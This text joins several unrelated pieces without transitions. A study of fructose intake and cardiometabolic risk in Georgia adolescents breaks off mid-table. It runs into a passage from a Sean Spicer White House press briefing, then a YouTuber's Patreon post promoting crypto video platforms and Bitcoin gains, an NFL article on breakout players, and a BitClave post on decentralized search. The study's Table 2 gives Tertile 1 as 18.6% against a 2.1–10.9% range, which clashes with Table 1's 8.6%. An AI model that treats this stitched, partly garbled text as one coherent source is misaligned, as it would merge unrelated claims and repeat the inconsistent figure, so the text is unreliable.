Introduction Between 1977 and 2004, U.S. consumption of fructose increased on average 32% across all gender and age groups (1, 2). This trend has been accredited to the increasing use of HFCS7 as the predominate sweetener in processed foods and soft drinks by industry (3). There has been a growing concern that increased fructose consumption may be related to factors known to increase risk for cardiovascular disease and type 2 diabetes (4), because animal studies suggest that high fructose consumption promotes obesity, elevated blood pressure, insulin resistance, inflammation, and dyslipidemia (5–7). However, the extent to which increased fructose consumption is related to adiposity and metabolic dysregulation in humans is uncertain. Whereas some authors report that greater fructose consumption may increase body fatness and blood pressure (8–11), others report no relations between fructose intake and adiposity or blood pressure (12, 13). Disparate findings also exist between fructose intake and other markers of cardiometabolic risk, including lipids, insulin resistance, and inflammatory-related cytokines (9, 14–20). The discrepancies in the aforementioned dietary fructose and cardiometabolic risk factor investigations can be attributed in part to differences in the populations studied and the study designs and instruments used. However, it is also likely that the half-portion of fructose from sucrose could be an additional confounding factor (1). Because absorbed sucrose is hydrolyzed into free fructose and free glucose before it arrives at the liver for metabolism, it is important to consider the additional free fructose from sucrose when determining the overall effect of fructose on health-related outcomes. Given that adolescents have been found to consume more fructose than any other age group over the last few decades (2, 21) combined with recent findings in adolescents of increasing rates of insulin resistance, hypertension, and dyslipidemia (22, 23), it is vital to understand the role of greater fructose consumption on factors known to increase risk for cardiovascular disease and type 2 diabetes in this population. Currently, two pediatric studies have linked high fructose intake to cardiometabolic risk factors (17, 24). In an investigation of 74 Swiss children aged 6–14 y, Aeberili et al. (17) reported no associations between fructose consumption and weight status, total cholesterol, HDL-cholesterol, or LDL-cholesterol. However, negative associations were observed between fructose intake and LDL particle size, a marker of cardiovascular disease risk. In the other pediatric investigation, Davis et al. (24) reported inverse relationships between total fructose intake (free fructose + 50% of free sucrose) and insulin sensitivity in 120 overweight Latino youth aged 10–17 y. Although these two studies provide important insight into the relationship between fructose consumption and cardiometabolic risk factors, additional work is warranted. The primary objective of this study was to determine relations between total fructose intake (free fructose + 50% of free sucrose) and measures known to increase risk for cardiovascular disease and type 2 diabetes in a cohort of white and black adolescents living in the southern US. A secondary objective was to determine whether the type of fat (s.c. vs. visceral) modified relations between total fructose intake and the markers of cardiometabolic risk.
Materials and Methods Participants. The participants in this study were 559 adolescents who were recruited from local high schools in the Augusta, Georgia area. With approval from superintendents and school principals, flyers were distributed to all students in the high schools. Inclusion criteria for the study were white or black/African American race and age 14–18 y. Adolescents were excluded if they were taking medications or had any medical conditions that could affect growth, maturation, PA, nutritional status, or metabolism. Informed consent and assent were obtained from all parents and adolescents, respectively. The protocol was approved by the Human Assurance Committee at Georgia Health Sciences University (institutional review board). All measurements were performed at the Georgia Prevention Institute at Georgia Health Sciences University between 2001 and 2005. Anthropometry, blood pressure, pubertal stage, and socioeconomic status. A trained laboratory technician collected height and weight measurements for calculating sex- and age-specific BMI percentiles for which we used body weight classification: not overweight (<85th percentile), overweight, (85–94.99th percentile), or obese (≥95th percentile) (25). Seated blood pressure was measured five times at 1-min intervals after a 10-min rest using the Dinamap Pro 100 (Critikon) and the last three measures were averaged. Pubertal maturation stage (or Tanner stage) was measured with a five-stage scale ranging from I (prepubertal) to V (fully mature) as described by Tanner (26). Using this gender-specific questionnaire, participants reported their pubertal stage by comparing their own physical development to the five stages in standard sets of diagrams. A parent or research coordinator then reviewed the results with the children to make sure they understood the questionnaire. When an individual reported discordant stages of pubic hair and breast or genital development, the higher of the two stages was used. The socioeconomic status was assessed using the Hollingshead 4-factor index of social class (27), which combines the educational attainment and occupational prestige for the number of working parents in the child’s family. Scores ranged from 11 to 51, with higher scores indicating higher theoretical socioeconomic status. Biochemical variables. Blood samples were collected from fasting participants for assessment of serum glucose, serum insulin, plasma TG, plasma total cholesterol, plasma HDL-cholesterol, plasma LDL-cholesterol, serum leptin, plasma adiponectin, plasma resistin, and plasma C-reactive protein. Serum glucose concentrations were measured using an Ektachem DT system (Johnson and Johnson Clinical Diagnostics) and run in duplicate, with intra- and interassay CV of 0.6 and 1.5%, respectively. Specific insulin was measured in serum and assayed in duplicate using RIA (Linco Research), with intra- and interassay CV of 5 and 5.6%, respectively. HOMA-IR7 was calculated by using the formula: fasting insulin (pmol/L) × fasting glucose (mmol/L)/22.5 (28). Plasma TG and HDL-cholesterol concentrations were measured using the Ektachem DT II system. Plasma HDL-cholesterol was analyzed using a two-reagent system (Equal Diagnostics) involving stabilization of LDL-cholesterol, VLDL-cholesterol, and chylomicrons using cyclodextrin and dextrin sulfate and subsequent enzymatic-colorimetric detection of HDL-cholesterol (29). Plasma LDL-cholesterol concentrations were calculated using the Friedewald formula (30). Serum leptin concentrations were assayed using ELISA (R & D Systems) and run in duplicate, with intra- and interassay CV of 2.2 and 5.3%, respectively. Adiponectin and resistin were measured in plasma that was assayed in duplicate by ELISA (Linco Research). Intra- and interassay CV were 7.4 and 8.4%, respectively, for plasma adiponectin and 3.2 and 7.1%, respectively, for plasma resistin. Plasma C-reactive protein concentrations were assayed using high-sensitivity ELISA (ALPCO Diagnostics) and run in duplicate, with intra- and interassay CV of 10 and 10.2%, respectively. Body composition and type of adiposity. FFST mass and fat mass were assessed using DXA (QDR-4500W; Hologic). For determination of measurement reproducibility, one-way random effects model, single measure intraclass correlation coefficients were calculated in participants 15–18 y of age (n = 219). Each participant was scanned twice within a 7-d period for FFST mass, fat mass, and percentage body fat (all r ≥ 0.97). SAAT and VAT were measured using MRI (1.5-T; GE Medical Systems). Assessments of SAAT and VAT are described in detail elsewhere (31). Briefly, a series of five transverse images was acquired from the lumbar region beginning at the inferior border of the fifth lumbar vertebra and proceeding toward the head; a 2-mm gap between images was used to prevent crosstalk. To calculate volumes for SAAT and VAT, the cross-sectional area from each slice was multiplied by the slice width (1 cm) and then the individual volumes were summed. The intraclass correlation coefficients for repeat analyses of the same scans on separate days within a 7-d period were r ≥ 0.98 for both SAAT and VAT. PA. The mean daily minutes spent in moderate and vigorous PA was assessed using MTI Actigraph monitors (model 7164; MTI Health Services), uniaxial accelerometers that measure vertical acceleration and deceleration. With epoch length set at 1 min and expressed as counts/min, the accelerometers were to begin recording when the participant left our laboratory after the first day of testing. The participants were instructed to: 1) wear the monitor for a period of 7 d; 2) remove it for sleep, bathing, and any activity that may cause harm to either the monitor or another person (e.g. during contact sports); and 3) bring the monitor back to us 1 wk later. Data from d 1 and 7 were discarded, because a full day of information was not available for those days. Movement counts were converted to min/d spent in moderate (3–6 metabolic equivalents) and vigorous (>6 metabolic equivalents) PA by the software accompanying the device. Dietary intake. To assess mean daily intakes of energy, protein, fat, carbohydrate, free fructose, free sucrose, and fiber, a trained registered dietitian conducted four to seven 24-h diet recalls (1 weekend day) using NDS-R software (version 2006). Four, 5, 6, and 7 d of dietary information were collected in 10, 21, 22, and 47% of the participants, respectively, within 4 wk of the blood collection. The first two recalls were performed in person at our institute with the use of food models, portion booklets, or serving containers to assist in estimating serving size and the remaining interviews were conducted by telephone. To minimize the potential for undereating during the time frame for 24-h recalls, participants were unaware of the telephone recall schedule. A trained research assistant coded and analyzed dietary intake data using the NDS-R software. Because NDS-R software computes the intake of sugar type and servings of food and beverage groups based on the Dietary Guidelines for Americans 2005 (32) or the FDA (33), we provided information on mean daily intakes of total sugars, added sugars, free fructose subgroups (vegetables, fruit, and 100% fruit juice), and HFCS subgroups (sugar-sweetened foods and sugar-sweetened beverages). Statistical analysis. In our analyses, the primary independent/predictor variable of interest was total fructose intake, which takes into account the fructose found in foods (free fructose) and the fructose released from sucrose during digestion (bound fructose) (1, 24). Separate multivariate linear regression analyses were conducted to examine associations of total fructose intake with measures known to increase cardiovascular disease and type 2 diabetes (blood pressure, serum glucose, HOMA-IR, plasma TG, plasma total cholesterol, plasma HDL-cholesterol, plasma LDL-cholesterol, serum leptin, plasma adiponectin, plasma resistin, plasma C-reactive protein, SAAT, and VAT). Potential confounding variables that were included in the analyses were age, sex, race, Tanner stage, body composition (FFST mass and fat mass), PA, energy intake, fiber intake, and socioeconomic status (24, 34). Because there were no interactions with age, sex, or race, we ran the analyses in all participants, adjusting for age, sex, and race rather than conducting analyses for separate groups. We further explored the fructose-cardiometabolic risk factor relationship by comparing the cardiometabolic risk factor variables across tertile groups of the percentage of energy intake from total fructose. Total fructose intake values reported within each group are medians (range) ( and ). Group differences for anthropometric, body composition, PA, socioeconomic status, and dietary intake variables were determined by using ANOVA. Descriptive statistics for raw variables are presented as mean ± SD if not stated otherwise. The proportions of males and females and of blacks and whites were compared between groups by using chi-square test of goodness of fit. For comparison of the primary dependent variables (i.e., blood pressure, serum glucose, HOMA-IR, plasma TG, plasma total cholesterol, plasma HDL-cholesterol, plasma LDL-cholesterol, serum leptin, plasma adiponectin, plasma resistin, plasma C-reactive protein), an F test was performed to test the assumption of homogeneity of regression slopes for the interactions between the independent variable (i.e., total fructose tertile groups) and the covariates (age, sex, race, Tanner stage, FFST mass, fat mass, PA, energy intake, fiber intake, and socioeconomic status). Because there were no interactions, ANCOVA was used to compare the primary dependent variables across total fructose tertile groups after adjusting for age, sex, race, Tanner stage, FFST mass, fat mass, PA, energy intake, fiber intake, and socioeconomic status. We subsequently tested whether the association between total fructose intake and cardiometabolic risk factor variable was dependent on type of fat (SAAT vs. VAT). By using this approach, if an observed association with total fructose intake was dependent on type of fat, there would be no association between total fructose intake and the dependent variable of interest when controlled for the type of fat (35). If the trend for difference in the dependent variable of interest across a tertile of total fructose was significant (P < 0.05), differences among individual tertiles, adjusted for multiple comparisons, were tested by using Tukey’s honestly significant difference adjustment. Adjusted means are reported as mean ± SE. Because HOMA-IR, plasma TG, serum leptin, plasma adiponectin, plasma resistin, plasma C-reactive protein, SAAT, and VAT had skewed distributions, they were transformed to their natural logarithm for analyses but back-transformed when we present the results for ease of interpretation. Data were analyzed using SAS software (version 9.1, SAS Institute) and statistical significance was set at P < 0.05. TABLE 1 Total fructose, % energy Characteristics Tertile 1 8.6% (2.1−10.9%) Tertile 2 12.4% (11.0−13.8%) Tertile 3 16.4% (13.9−28.4%) P-trend n 186 186 187 Age, y 16.1 ± 1.2 16.0 ± 1.1 16.1 ± 1.1 0.30 Females, % 46.8 46.8 56.6 0.11 Blacks, % 41.0 45.1 48.6 0.38 Tanner stage (1–5) 4.6 ± 0.7 4.5 ± 0.6 4.6 ± 0.6 0.29 BMI percentile 64.5 ± 26.9 58.3 ± 27.4 62.2 ± 28.8 0.44 BMI percentile category, % 0.36 Not overweight 73.4 81.5 68.8 Overweight 12.1 9.3 14.5 Obese 14.5 9.2 16.7 FFST mass, kg 46.5 ± 10.8 47.3 ± 9.5 46.5 ± 10.6 0.81 Fat mass, kg 15.1 ± 8.6 14.3 ± 8.6 17.7 ± 11.5 0.06 SAAT, cm3 787 ± 656 770 ± 579 973 ± 793 0.06 VAT, cm3 86 ± 50b 91 ± 51 103 ± 59a 0.025 Moderate/vigorous PA, min/d 43 ± 26 47 ± 31 38 ± 27 0.16 Socioeconomic status 35 ± 9 33 ± 8 33 ± 9 0.24 Dietary intake Energy, kJ/d 7990 ± 2720 8500 ± 2490 7820 ± 2500 0.34 Protein, % energy 14.8 ± 3.1 14.6 ± 3.2 13.8 ± 2.5 0.15 Fat, % energy 33.2 ± 5.7 33.1 ± 4.4 34.3 ± 4.3 0.58 Carbohydrate, % energy 52.9 ± 6.5 53.2 ± 6.9 52.8 ± 6.5 0.73 Total fructose, g/d 41.7 ± 17.7c 62.6 ± 18.4b 73.4 ± 20.9a <0.001 Free fructose g/d 21.2 ± 10.9c 34.2 ± 13.0b 43.1 ± 14.6a <0.001 % energy 4.4 ± 1.6c 6.8 ± 1.6b 9.6 ± 2.8a <0.001 Free sucrose g/d 41.2 ± 19.4c 56.8 ± 22.9b 62.5 ± 28.0a <0.001 % energy 8.5 ± 2.6c 11.3 ± 3.2b 13.7 ± 4.4a <0.001 Fiber g/d 11.0 ± 4.5a 11.1 ± 4.4a 9.3 ± 4.2b 0.020 g/4186 kJ 5.9 ± 1.6a 5.5 ± 1.3b 5.2 ± 1.6c <0.001 Total sugars g/d 102 ± 44c 138 ± 43b 157 ± 45a <0.001 % energy 21.2 ± 4.0c 27.7 ± 2.8b 34.6 ± 3.9a <0.001 Added sugars g/d 77 ± 70c 89 ± 76b 100 ± 81a 0.007 % energy 15.5 ± 11.8c 17.3 ± 12.9b 20.9 ± 15.6a 0.001 Free fructose subgroups Vegetables, g/d 7.1 ± 5.6a 6.1 ± 4.1 5.1 ± 3.6b 0.010 Fruit, g/d 9.0 ± 7.5a 7.5 ± 7.5 6.0 ± 7.5b 0.011 100% fruit juices, mL/d 24 ± 72b 48 ± 72 72 ± 96a 0.038 HFCS subgroups Sugar-sweetened foods, g/d 46.8 ± 25.7b 60.4 ± 24.2 69.5 ± 28.7a 0.013 Sugar-sweetened beverages, mL/d 384 ± 312c 552 ± 240b 840 ± 336a <0.001 Open in a separate window TABLE 2 Total fructose, % energy Tertile 1 18.6% (2.1−10.9%) Tertile 2 12.4% (11.0−13.8%) Tertile 3 16.4% (13.9−28.4%) P-trend n 186 186 187 Systolic blood pressure, mm Hg Model 1 109 ± 1b 111 ± 1 113 ± 1a 0.007 Model 2 109 ± 1b 111 ± 1 113 ± 1a 0.013 Model 3 110 ± 1 111 ± 1 113 ± 1 0.28 Diastolic blood pressure, mm Hg Model 1 59 ± 0.4 60 ± 0.4 60 ± 0.4 0.41 Model 2 59 ± 0.4 60 ± 0.4 60 ± 0.4 0.40 Model 3 60 ± 1 59 ± 1 60 ± 1 0.52 Fasting serum glucose, mmol/L Model 1 4.93 ± 0.03b 5.01 ± 0.03a 5.05 ± 0.03a 0.024 Model 2 4.93 ± 0.03b 5.01 ± 0.03a 5.04 ± 0.03a 0.033 Model 3 4.91 ± 0.04 4.95 ± 0.04 4.99 ± 0.04 0.10 HOMA-IR Model 1 3.39 ± 0.13b 3.65 ± 0.13 3.79 ± 0.13a 0.038 Model 2 3.40 ± 0.11b 3.71 ± 0.12 3.73 ± 0.12a 0.046 Model 3 3.36 ± 0.15 3.63 ± 0.15 3.50 ± 0.16 0.53 Plasma TG, mmol/L Model 1 0.69 ± 0.03b 0.75 ± 0.03 0.79 ± 0.03a 0.027 Model 2 0.69 ± 0.03b 0.76 ± 0.03 0.79 ± 0.03a 0.038 Model 3 0.71 ± 0.03 0.78 ± 0.03 0.77 ± 0.04 0.27 Plasma total cholesterol, mmol/L Model 1 3.88 ± 0.08 3.80 ± 0.08 3.86 ± 0.08 0.84 Model 2 3.88 ± 0.08 3.81 ± 0.08 3.86 ± 0.08 0.86 Model |
SPICER: In terms of what?
Q What does energy dominance mean?
MR. SPICER: Well, I think we'll continue to talk about that throughout the week. But I think we have gone — we have now — you take LNG, for example. I think our ability to now export it is a big issue. The idea of using additional power supplies and be able to find ways not only to be self-sufficient, but to figure out how to grow businesses from it, create jobs from energy, use our natural resources.
You're going to hear more and more throughout the week about what the President is doing. As I mentioned, he'll have more action on this later in the week where he'll have some action that he's going to be taking on behalf of the administration to move forward our dominance, our independence, our ability to maximize our natural resources and create jobs.
Q Does that mean trying to put pressure — downward pressure on rural oil prices to impact Persian Gulf suppliers?
MR. SPICER: I think it means a lot of things. I mean, just the ability to now be an exporter helps us in economic ways, but then obviously there is a political aspect to this.
John.
Q Thank you, Sean. Two great questions. It was widely reported on Sunday that the President is the first person in the White House since Thomas Jefferson not to have the traditional dinner to mark the end of Ramadan. Was there any reason for this, or was it just an oversight?
MR. SPICER: I don’t know, John.
Q The other thing I wanted to ask — I was a little taken aback by the question on the Supreme Court list. On May the 3rd, I asked Sarah if the President would stick to the list of 21 he had in the campaign from which Judge Gorsuch came, and she said that was her understanding, that he would stay with it and there was no reason to expand it. Has there been any discussion or change of policy in the month between her statement and what you just said?
MR. SPICER: Well, my only point is that as we fill a lot of vacancies at the circuit-court level all the way up and down the judiciary, there may be people that come into contact that are highly qualified for one reason or another, and that the President may choose at some point down the road, if there’s every a vacancy, to consider someone else.
I think obviously the list that the President put down initially of 21, but now that Justice Gorsuch is off that list he may want to put one additional on. But he always has the flexibility, as he encounters additional members — potential members of the bench.
George.
Q Do you approve of the attacks on Senator Heller by allies of the President? And is there any danger of putting a Republican Senate seat at risk?
MR. SPICER: Well, look, I think we’re going to work with all of the senators to try to get their support on the American Health Care Act, something that, as I mentioned, the President has been reaching out to all of them who have concerns and issues. And we’re going to continue to do that.
Francesca.
Q Do you have a message to those who are attacking Heller?
MR. SPICER: I have not seen the ad that you’re talking about, but I would just suggest that, obviously, we want to do what we can from a White House perspective to continue to reach out and work with them.
Francesca.
Q Thanks, Sean. You mentioned that the President had been in touch with some of the senators who had concerns about this healthcare bill. I didn’t hear you mention any Democrats. And Joe Manchin III said yesterday that he had not been called by the President yet. Has the President reached out to any Democrats?
MR. SPICER: I don’t know the answer to that.
Q Okay. And then a follow-up on that going back to Joe Manchin III, who you had brought up on Friday as somebody who you guys could potentially work with on this bill — he said in his interview that he would be willing to sit down with the White House if you guys were willing to call it a repair bill or repair effort versus a repeal effort. Is that something that you would be willing to do, the President would be willing to do to get some Democrats onboard in a working group?
MR. SPICER: Well, I think what we need to do is to — we’re going to continue to have a team that will reach out. I’ll check with our legislative affairs team and see what they’ve — and see what they’ve done. That being said, we’ve made it very clear for seven-plus years that we’re going to repeal and replace this.
Goyal.
Q One question on India-U. S. relations. This afternoon at the White House, the world’s most two powerful leaders — Prime Minister Modi and President Trump — of the world’s largest and (inaudible) two democracies will be meeting and greeting and have a number of discussions about U.S.-India relations. But Prime Minister Modi said that India will join U.S. to fight against terrorism. At the same time, yesterday, addressing the India-U. S. — Indian American community in Tysons Corner, he said that India had been suffering of terrorism for the last 30 years and telling the world to join us. Now time has come that entire world can join India to fight against terrorism. Before it was Taliban and al-Qaeda, and now ISIS. What is, do you think, going to happen in fighting against terrorism?
MR. SPICER: As you mention, I mean, they’re going to have a long opportunity today to meet and then have dinner together. They’ll talk about their ongoing cooperation, including areas like counterterrorism, our defense partnership in the region, global cooperation, et cetera.
But I think that energy — there’s a lot of things that they’re going to have an opportunity to discuss, but that will definitely be one that they have plenty of time to discuss. And after they’re done, we’ll have a readout for you and we’ll make sure that you know what areas they covered and hopefully what ground we’ve made up.
Thank you, guys. See you later.* This post was originally posted on our Patreon Page https://www.patreon.com/posts/13772333
Hi Guys, i'm not sure if i'm rushing or not writing this but, as you can see youtube is getting worse and worse, and i'm not talking exclusive from the monetization perspective, but believe me to be a youtuber this day is a pain in the ass not a dream anymore (i think every youtuber is complaining about this), and because your are supporting us, i can still pay Unacomn's salary for what he's doing on the channel (not too much but this is all i can offer him, actually everything from you and from youtube is going into his salary, nothing for me)
"What is my idea with this post?"
You see, for the last 5 months i was looking for alternatives for our content to be more visible and more profitable.
In terms of Sponsors, mhhh, not really, they want more views and more targeted viewers, and we don't have +50% from USA what they are desperate to get!
In terms of Viewers on Youtube, i can't really do more than i do, i'm posting our show on 10+ social media + other websites + forums
"Why i'm searching for alternatives so late?"
Is not late, is not late at all, and you know, i believed in Youtube, i really did, and i didn't have to many options back then. (Which is truth, but not really, why? stay with me to find out more)
"What i did in my 5 months when i had time to do research?"
I kept looking for something and i got involved in CC (CryptoCurrency World) but we will discuss about this later.
"What i found?"
1. https://vid.me/hdgaminghd the first thing i did was to find more informations about this platform before to jump and upload every video we have. I found that this platform was actually founded in 2014, and this info amazed me (their PR & Marketing Team should be ashamed, they are worse than me somehow).
I would not have found this site if youtube would'n force me, and like me other youtubers did the same thing, they found this website just because youtube started to hate us and to embrace more and more communism and TV shit...so, we need a new home, we need to get our freedom back!
After i found Vid.me, it was my hope for the next 10 minutes after i found that, vid.me was more like a combination between patreon and youtube...how is that?
On Vid.me if you wanna get money as a Creator, your viewers have to tip your videos with what money amount they want to or they can subscribe on your channel for a month and you can offer'em extra videos or they can see the video before others. Sure, since last month now they have ADS which don't work...or maybe is just for me...or is because their ADS System is in Beta...the idea is, you can't make money, real money, without a big community and their website is pretty empty....
Vid.me for the Future? Maybe, not sure, we'll see...
2. https://www.dailymotion.com is not new, i know this website, is sucks, spam,spam and spam, you can't really make something there, they have ads sure, but the website is toxic is just a place for garbage and copyright videos which aren't allowed on youtube, the only way to make money there is to spam with videos which aren't yours (like game trailers, tv shows etc...) and hope they will be indexed on google and someone will search for your video titles. The Dailymotion Dashboard is unusable for a real content creator.
Dailymotion.com for the Future? Nop, maybe if they will make a rebrand or something...
3. www.metacafe.com I'm kidding, i really don't want to waste your time here...
Now let's talk for real (CC is activated now! )
4. www.steemit.com/@free999enigma First thing, this is a platform based on cryptocurrency (CC) and is not what you would call a youtube alternative, because is not based on videos necessary and you can't upload videos on it. Is more like reddit + microblogging. BUT still, here you can make posts with your videos and about your videos like this:
https://steemit.com/gaming/@free999enigma/top-7-date-games
https://steemit.com/gaming/@stefanonsense/the-settlers-2-10th-anniversary-edition-review-city-builder
The most interesting thing about this platform is that creator and you, yep, YOU can make money.
On short, when you post something as a creator you are earning money when people upvote your posts but to make more money people who votes your posts have to has Steem Power which can be earned when they upvoting posts or when they post comments and other people will upvote their comments and beside that from comments they can earn Steem which is right now 1,3$.
Math Time!
If your post make 100$ after 7 days the system will split the money like this 75% goes to the creator and 25% will go to curators (people who upvoted the post)
After that you remain with 75$ which will split again, 50% in Steem which can be converted into Bitcoins and after in USD and 50% in Steem Power so the final money you will get are 37,5$ but you can use your Steem Power to upvote you posts.
Don't be Worried!
When you upvote something you don't have to use your Steem Power or Steem, nop. Steem Power is just representing your UpVoting or DownVoting Power and that's it, you don't have to waste any money from your wallet and more then that you can earn some money!
If you want to know more go on https://steem.io/ but i hope i explained good enough to make you to understand what is this thing about in a great measure.
www.steemit.com/@free999enigma for the Future! Yep 99% not saying 100% because you can't be sure of nothing, but i really believe that, this is gonna be from now, that's how a platform should be everyone's wasting time and time is the most value thing, so everyone should get something to earn in exchange.
Stop Wasting Your Time on Facebook at least go and post your life somewhere where you can get money from that not only FBI :))
5. View.ly @ Right now i only know that this is gonna be the real youtube alternative. A website where everyone can say everything they want because is decentralized. Sure, you'll have to use your storage (PC) from where people will get to watch your videos or you'll have the option as a creator to pay to storage your videos in data centers which will be decentralized too.
In terms of monetization maybe this website sounds like Vid.me but is better.
They will have their own CC named "VIEW" or something like that.
I'm stopping here because this project is still in progress nothing released yet so we have to wait and see (actually you have an alpha here alpha.view.ly)
View.ly for the Future? Sounds Like! But i'm skeptical about the monetization part...
6. lbry.io Let's say, in big words, it's like View.ly. If you wanna try LBRY you have to get the app from the site (That's the part that annoys me, i prefer one place to access all i need, like, a browser)
The only thing they have for now in terms of monetization is that, creators can set a "price" for their shows and because is based on CC you'll have to pay for the show with LBC.
LBRY.io for the Future? Maybe.... LBRY in this stage...looks more like an archive for videos and looks like one and you don't have to many options to monetize..
Once Again "What is my idea with this post?"
I hope after you've read this entire post now you know more about the future and you'll know where to find us in case youtube will burn one day at all. Why Not, Maybe now you can start looking for another job in the this CC World, maybe something that will please you not just in terms of money but in terms of freedom too.
Out there are a lot of new startups based on CC for everyone and right now you can go on www.steemit.com, let's say if you are a photographer, you can post you Amazing Photos and make some money without having to work 8 - 12 hours per day.
First Image Soure: http://www.hpwd.co.uk
One more thing. Bitcoin (Apr 2010) was 0.003$ - Bitcoin (Aug 2017) is 3344.69$Stan Liu / US Presswire Four years after his winning TD, Dante Rosario returns to San Diego aiming to contribute to a retooled offense.
In the midst of a recent, wide-ranging conversation about the San Diego Chargers, coach Norv Turner caught me off-guard. We were talking about players he thought could emerge as unsuspecting contributors and he brought up tight end Dante Rosario. Rosario's biggest claim to fame was the touchdown he caught against San Diego as time expired in the 2008 season opener.
Fantasy deep sleepers for 2012 Who will be breakout players from a Michael Fabiano and NFL.com's fantasy experts have their picks. Who will be breakout players from a fantasy football perspective?and NFL.com's fantasy experts have their picks. More...
Since then, he's been just a guy, so to speak. He had a career-high 32 catches in 2009 with the Carolina Panthers, where he spent four seasons before splitting time with the Miami Dolphins and Denver Broncos last season (seven catches combined). Turner thinks that Rosario, entering his sixth season, could do some things in San Diego's system to really diversify an offense that's adjusting its skill position personnel.
"We really think he can help us, and really be a red-zone threat because (Antonio Gates) gets doubled in the red zone so much," Turner said.
Rosario isn't being counted on as a high-volume receiver, but he is expected to be an option who could benefit from the attention paid to Gates -- or serve as a distraction to free up Gates. After losing standout wide receiver Vincent Jackson in free agency, the Chargers are going to have to figure out something to concern opposing defensive coordinators.
Rosario is a decent blocker with decent speed and good hands. Now is the time to see if, as a total package, he can be someone who occasionally grabs our attention.
He's not the only player a few seasons into his career who is at the crossroads of stalling out or breaking through as a significant contributor. Let's examine a few others:
Darrius Heyward-Bey, WR, Raiders: It's arguable that he crossed the threshold last season when he caught a career-best (by far) 64 passes for 975 yards. The guy has been dogged by being overdrafted (seventh overall) in 2009, but finally played like he wants to be a No. 1 wideout. An offseason DUI arrest he said he'll plead not guilty to could motivate him even more.
Heyward-Bey came on strong at the end of last season after taking a midseason dip following the season-ending injury to quarterback Jason Campbell and the arrival of Carson Palmer. That late-season momentum and an offseason to build chemistry with Palmer could have its benefits. Then again, if his production dips or he stops improving, he'll be unable to shake the overdrafted tag.
Harry Douglas, WR, Falcons: Douglas has killed fantasy football owners who thought he'd thrive with all the attention paid to Roddy White, Julio Jones and Tony Gonzalez. Douglas, who missed 2009 with a knee injury, had a career-high 39 catches last season and averaged 12.8 yards per catch. That's not bad for a No. 4 receiver. The small but tough slot receiver stands the chance to see fewer balls thrown his way this season with Jones expected to be even more of a factor.
Even so, with new offensive coordinator Dirk Koetter, Douglas -- who was a free agent but re-signed with the Falcons -- has an opportunity to emerge a more of a factor than he's been.
Greg Hardy, DE, Panthers: Carolina coach Ron Rivera is extremely high on this talented third-year player.
"Hardy has been tremendous," Rivera said. "Talk about growth in a young man. He's really matured in terms of being here every day on a voluntary basis, for the most part. I really am excited about him."
Hardy had four sacks last season and also moved from end to tackle at times. He was able to play inside at times because he weighed close to 290. Rivera said Hardy is closer to "278, 279 now," which would probably keep Hardy at end, opposite hard-working end Charles Johnson. There were high expectations of Hardy last season, but he was slowed by a motorcycle accident just before training camp.
The idea that Hardy will develop into a solid player kept the Panthers from selecting a defensive end in the first round of the 2012 NFL Draft. Carolina did select Oklahoma defensive end Frank Alexander in the fourth round.
Paul Kruger, DE/OLB, Ravens: Coming off a career-best six-sack season, the table is set for Kruger -- who is entering his third season -- to show himself. Outside linebacker Jarrett Johnson bolted to San Diego in free agency and Pro Bowl outside 'backer Terrell Suggs sustained an Achilles injury that will sideline him for at least part of the season. Kruger, even if he remains a sub-package player, has to elevate his game.
He has been in a culture that doesn't allow any excuses and he really showed the aggression that is a Ravens trademark last season. Though the plan to replace Suggs could come more by committee, Kruger seems the most prepared to man up. If he doesn't, then he might not even develop into anything more than a situational player.
Follow Steve Wyche on Twitter @wyche89.The Decentralized Internet: The Future of Online Searching
BitClave Blocked Unblock Follow Following Nov 10, 2017
THE ORIGINAL PURPOSE OF THE INTERNET
The internet’s original mission was to build a common neutral network, with equal participation, for the betterment of humanity. After the first dot com bubble, large corporations (such as Google, Facebook, etc.) realized that the largest value gained from this neutral network involved gathering, organizing, and monetizing information through a central server. Therefore, companies built their value by growing huge centralised services on the internet, while disabling the ability to link to content via a URL (i.e. videos uploaded directly onto Facebook get algorithmic preference over YouTube URL’s posted on Facebook) or allowing search engines to index their content (i.e. creating algorithms making it hard to find Facebook videos on Google).
PROBLEMS WITH TRADITIONAL SEARCH ENGINES
Loss of Individual Privacy Rights
This creates a world where people lose individual privacy rights. Rather than users owning their own information, a few companies track and store user information for their own personal profit. They do this by dropping “cookies” on users’ hard-drives, then compiling them into predefined interest categories to which advertisers can later use to target tailored ads. This wealth of information allows search engines not only to sell more tailored behavior advertising to users, but build upon itself to constantly improve users’ search results. It is unclear whether the search engines’ primary purpose to hold this data is due to the former or the latter interest. While Google assures that improving ranking algorithms is the main reason for holding user information, scholars such as Hoofnagle point to a search engine’s strong incentive to use collected information to expand their advertising based business model. As a result, “Innovation is raised as a privacy tradeoff in the context of data retention”.
Reduced Effectiveness
Despite this plethora of collected information, targeted advertisements are not always effective. Advertisers pay high fees to search engines in order to reach their target audience while nearly half of all ad traffic is AI bot generated. There is no guarantee that an advertisement will reach its intended audience, or whether or not ad traffic is genuine. As a result, advertisers pay high fees with low conversion rates and consequently receive a low return on investment.
This affects the whole value chain. Advertisers pay increasingly high fees to search engine “middle men” causing product price markups for consumers. In this way, advertisers end up overpaying, and consumers end up overcharged.
HOW DECENTRALIZATION SOLVES THESE PROBLEMS
What is Decentralization?
Internet Decentralization creates a world where services such as communication, banking, publishing, social networking, research, archiving, etc. are provided not by centralised services owned by single organisations (such as Google or Facebook), but by user powered technology (by the people, for the people). In this sense the internet becomes a “true democracy” rather than trusted blindly to an omnipotent company. Users share responsibility for services in a peer-to-peer distributed network. Information is run on servers across client side apps or on multiple federated servers. The digital structure of the cryptographic technology holds users accountable and encourages ethical behavior.
Users of decentralized networks own and control how their information is used and shared. Encrypted data accessed through personal private keys keeps information secure and anonymous until the user decides if and who to release it to.
Large corporate middle men get cut out. Smart contracts entered directly between user chosen advertisers makes user information available to specific retailers. This saves money for both retailers and consumers by reducing irrelevant, costly, ads. In this way, users can be compensated for using the platform by sharing their information with advertisers.
Case Study: Bitclave
An example of this is BitClave’s Active Search Ecosystem (BASE) which compensates users for sharing their data with Consumer Activity Tokens (CATs). The currency can subsequently be used for purchases with accepting retailers or converted into a fiat currency. The role of the search engine, in this case, becomes similar to that of a real estate agent. The realtor matches a buyer and seller but gives the individuals the final decision on the business transaction. This profits the user by allowing it to potentially make money from its personal information and receive ads for products that are actually relevant. This consequently benefits advertisers as well who reduce useless spending and increase conversion rates.
